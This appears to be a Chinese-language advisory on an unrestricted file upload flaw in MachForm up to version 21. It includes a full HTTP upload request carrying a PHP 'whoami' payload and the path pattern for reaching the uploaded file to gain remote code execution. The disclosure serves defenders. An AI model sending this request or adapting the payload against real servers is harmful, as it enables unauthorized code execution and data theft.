MachForm 至版本 21 受一个经过身份验证的无限制文件上传漏洞影响,该漏洞可导致远程代码执行。
该应用程序提供了创建带有文件上传功能的表单的可能性。虽然默认情况下可接受的文件仅限于常见的安全子集,但表单创建者还可以指定允许的其他格式。
如果拥有表单创建权限的用户创建了一个带有文件上传功能的表单,并且允许了“PHP”格式,那么任何未经身份验证的用户都可以利用此表单获得远程代码执行。
为了利用此漏洞,需要有一个启用了文件上传功能并已将“PHP”扩展名加入白名单的表单。

一旦满足此前提条件,任何未经身份验证的用户都可以导航到该表单以利用文件上传漏洞。
上传至表单但尚未在表单中提交的文件会被以 .tmp 格式上传到 Web 服务器上的预定目录中。

请求:
POST /upload.php HTTP/1.1
Host: application-baseurl
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://application-baseurl
Content-Type: multipart/form-data; boundary=---------------------------6934955361623015052738262130
Content-Length: 657
Origin: https://application-baseurl
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers
Connection: close
-----------------------------6934955361623015052738262130
Content-Disposition: form-data; name="Filedata"; filename="whoami.php"
Content-Type: application/x-php
<?php
echo 'whoami = '.exec('/usr/bin/whoami');
?>
-----------------------------6934955361623015052738262130
Content-Disposition: form-data; name="form_id"
62461
-----------------------------6934955361623015052738262130
Content-Disposition: form-data; name="element_id"
1
-----------------------------6934955361623015052738262130
Content-Disposition: form-data; name="file_token"
9d96df33b71cadaad638c20f0540da39
-----------------------------6934955361623015052738262130--
上传文件的完整路径可以通过包含所有必需字段的上传请求构建:
/data/form_{form_id}/files/element_{element_id}_{file_token}-{file_name}.php.tmp
在此场景中,上传文件的 URL 如下:
/data/form_62461/files/element_1_9d96df33b71cadaad638c20f0540da39-whoami.php.tmp

一旦获得远程代码执行,就可以直接在目标服务器上进行操作,从而允许获取超出应用程序范围的访问权限,并允许读取敏感信息或修改/删除核心组件。